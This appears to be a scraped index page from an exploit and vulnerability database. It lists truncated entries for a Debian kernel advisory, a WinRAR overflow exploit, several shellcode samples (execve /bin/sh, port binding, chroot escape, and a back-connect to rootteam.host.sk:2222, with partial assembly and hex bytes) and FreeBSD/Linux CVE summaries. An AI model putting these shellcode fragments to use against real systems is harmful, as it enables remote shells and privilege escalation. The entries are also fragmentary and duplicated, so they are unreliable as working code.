Debian DSA-403-1 : kernel-image-2.4.18-1-alpha, kernel-image-2.4.18-1-i386, kernel-source-2.4.18 - local root exploit

Recently multiple servers of the Debian project were compromised using a Debian developers account and an unknown root exploit. Forensics revealed a burneye encrypted exploit. Robert van der Meulen managed to decrypt the binary which revealed a kernel exploit. Study of the exploit by the Red Hat...

WinRAR 1.0 Local Buffer Overflow Exploit

Exploit for unknown platform in category local exploits ======================================== WinRAR 1.0 Local Buffer Overflow Exploit ======================================== / WinRar local buffer overflow exploit V1.0 Coded By ATmaCA Copyright ? 2004 ProGroup Software, Inc...

bsd/x86 - connect 93 bytes

bsd/x86 connect 93 bytes. Shellcode exploit for bsdx86 platform / the back-connect shellcode. The destination addr is 0x28402ec3 rootteam.host.sk port is 0x8ae 2222. size = 93 bytes little isn't it? Greetz 2 sp00fed written by dev0id rus-sec /EFnet rootteam.host.sk BITS 32 jmp short path main: po...

freebsd/x86 execve /tmp/sh 34 bytes

No description provided by source. / FreeBSD shellcode - execve /tmp/sh Claes M. Nyberg 20020120 [email protected], [email protected] / / void main asm" xorl %eax, %eax eax = 0 pushl %eax string ends with NULL pushl $0x68732f2f push 'hs//' //sh pushl $0x706d742f push 'pmt/' /tmp movl %esp...

freebsd/x86 chown 0:0 , chmod 6755 & execve /tmp/sh 44 bytes

Exploit for freebsd/x86 platform in category shellcode ============================================================ freebsd/x86 chown 0:0 , chmod 6755 & execve /tmp/sh 44 bytes ============================================================ / FreeBSD shellcode chown"/tmp/sh", 0, 0; chmod"/tmp/sh",...

linux/x86 portbind port 5074 + fork() 130 bytes

Exploit for linux/x86 platform in category shellcode =============================================== linux/x86 portbind port 5074 + fork 130 bytes =============================================== / email protected 0x9abril0x7d2 syssocketcall 102 0x66 %eax, esta es nuestra rutina principal. En toda...

linux/x86 break chroot execve /bin/sh 80 bytes

Exploit for linux/x86 platform in category shellcode ============================================== linux/x86 break chroot execve /bin/sh 80 bytes ============================================== / This is Linux chroot/execve code.It is 80 bytes long.I have some ideas how to make it smaller, but ti...

linux/x86 bsd/x86 execve /bin/sh 38 bytes

No description provided by source. / Linux/x86 and Bsd/x86 execve of /bin/sh by dymitri!!! / include stdio.h char code = "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3" "\x50" "\x54" "\x53" "\x50" "\x8c\xe0" "\x21\xc0" "\x74\x04" "\xb0\x3b" "\xeb\x07" / si es bsd saltam...

linux/ppc execve /bin/sh 112 bytes

Exploit for linux/ppc platform in category shellcode ================================== linux/ppc execve /bin/sh 112 bytes ================================== / Linux PPC shellcode execve of /bin/sh by Palante / long shellcode = / Palante's linuxPPC shellcode w/ NULL/ 0x7CC63278, 0x2F867FFF,...

linux/ppc - execve /bin/sh 112 bytes

linux/ppc execve /bin/sh 112 bytes. Shellcode exploit for linuxppc platform / Linux PPC shellcode execve of /bin/sh by Palante / long shellcode = / Palante's linuxPPC shellcode w/ NULL/ 0x7CC63278, 0x2F867FFF, 0x41BC0054, 0x7C6802A6, 0xB0C3FFF9, 0xB0C3FFF1, 0x38867FF0, 0x38A67FF4, 0x38E67FF3,...

linux/x86 bsd/x86 execve /bin/sh 38 bytes

Exploit for multiple platform in category shellcode ========================================= linux/x86 bsd/x86 execve /bin/sh 38 bytes ========================================= / Linux/x86 and Bsd/x86 execve of /bin/sh by dymitri!!! / include char code = "\x31\xc0" "\x50" "\x68\x2f\x2f\x73\x68"...

CVE-2004-0126

The jailattach system call in FreeBSD 5.1 and 5.2 changes the directory of a calling process even if the process doesn't have permission to change directory, which allows local users to gain read/write privileges to files and directories within another jail...

CVE-2002-0836

dvips converter for Postscript files in the tetex package calls the system function insecurely, which allows remote attackers to execute arbitrary commands via certain print jobs, possibly involving fonts...

CVE-2004-0114

The CVE-2004-0114 issue is a reference-count bug in SHMAT (System V Shared Memory) on FreeBSD/NetBSD/OpenBSD where shmat(2) increments the vm_object reference count and then calls vm_map_find; if vm_map_find fails, the reference count is not decremented. This can allow local attackers to gain rea...

CVE-2004-0126

CVE-2004-0126 affects FreeBSD jail_attach(2) in FreeBSD 5.1–5.2. A programming error caused the process to change its root directory even if the process lacked permission, allowing a superuser inside a jail to set its root to another jail and gain full read/write access to files and directories w...

CVE-2004-0435

Certain "programming errors" in the msync system call for FreeBSD 5.2.1 and earlier, and 4.10 and earlier, do not properly handle the MSINVALIDATE operation, which leads to cache consistency problems that allow a local user to prevent certain changes to files from being committed to disk...

CVE-2004-0125

The jail system call in FreeBSD 4.x before 4.10-RELEASE does not verify that an attempt to manipulate routing tables originated from a non-jailed process, which could allow local users to modify the routing table...

CVE-2004-0427

The dofork function in Linux 2.4.x before 2.4.26, and 2.6.x before 2.6.6, does not properly decrement the mmcount counter when an error occurs after the mmstruct for a child process has been activated, which triggers a memory leak that allows local users to cause a denial of service memory...

CVE-2004-0427

The dofork function in Linux 2.4.x before 2.4.26, and 2.6.x before 2.6.6, does not properly decrement the mmcount counter when an error occurs after the mmstruct for a child process has been activated, which triggers a memory leak that allows local users to cause a denial of service memory...

FreeBSD : SA-04:11.msync

The remote host is running a version of FreeBSD which contains a programming error in the msync2 system call which may let a local user with read access to a given file to forbid any change to this file to be written to disk. C Tenable Network Security, Inc. if ! definedfunc"bnrandom" exit0;...